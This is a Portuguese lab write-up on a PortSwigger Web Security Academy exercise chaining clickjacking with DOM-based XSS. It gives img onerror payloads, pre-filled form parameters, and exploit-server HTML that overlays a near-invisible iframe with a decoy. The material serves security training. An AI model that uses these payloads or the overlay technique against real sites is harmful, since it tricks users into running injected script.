> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# Clickjacking para Acionar XSS DOM

Notas sobre Clickjacking para Acionar XSS DOM para laboratórios da PortSwigger Web Security Academy, incluindo fluxo de exploração, teste de payloads, validação no Burp Suite e contexto de remediação.

### Explorando a vulnerabilidade de Clickjacking para disparar XSS baseado em DOM

#### Objetivo

Levar um usuário a clicar em um botão ("Click Me") incorporado em um iframe para executar o `print()` função por meio de uma vulnerabilidade XSS acionada por clique.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-135e840a3483f88961ce24c6dcaf0e0e665e5fb8%2Fimage%20(346).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Contexto / Observações

* O **feedback** formulário tem um `nome` parâmetro que é vulnerável a um XSS de DOM (o payload em JavaScript é executado quando a imagem falha e invoca a função desejada).
* Exemplo de payload detectado: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a89ed1469c96f1daf327a8fba87802a078bdd71f%2Fimage%20(347).png?alt=media" alt=""><figcaption></figcaption></figure>

* Outros parâmetros úteis para preencher previamente o formulário no frame: `email`, `assunto`, `mensagem`.

#### Carga útil usada

Para disparar `print()` por meio da vulnerabilidade em `nome`:

```html
<img src=0 onerror=print()>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3cf337a5ebc19e889b954f09f33d01509156e030%2Fimage%20(348).png?alt=media" alt=""><figcaption></figcaption></figure>

* Inclua um `<iframe>` apontando para a `/feedback` página vulnerável com parâmetros pré-preenchidos (`nome`, `email`, `assunto`, `mensagem`) contendo o payload XSS.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9df9caa349040520c320a642f392b71d98f1c20c%2Fimage%20(350).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Faça o frame quase invisível (opacidade muito baixa) e sobreponha uma isca acima dele, posicionada de modo que o clique da vítima alcance o botão "Click Me" dentro do frame.
2. Quando a vítima clica na isca, o clique é transmitido para o frame e o XSS de DOM é disparado — aqui `print()` é chamada.

#### Exemplo de código para hospedar no servidor de exploração

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Clique</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ba8cbe6c1cd798b3a82e42a844b74f337e45b87%2Fimage%20(351).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-740eaf6309dc4fbc1503387e721a3bf209a9b34d%2Fimage%20(353).png?alt=media" alt=""><figcaption></figcaption></figure>


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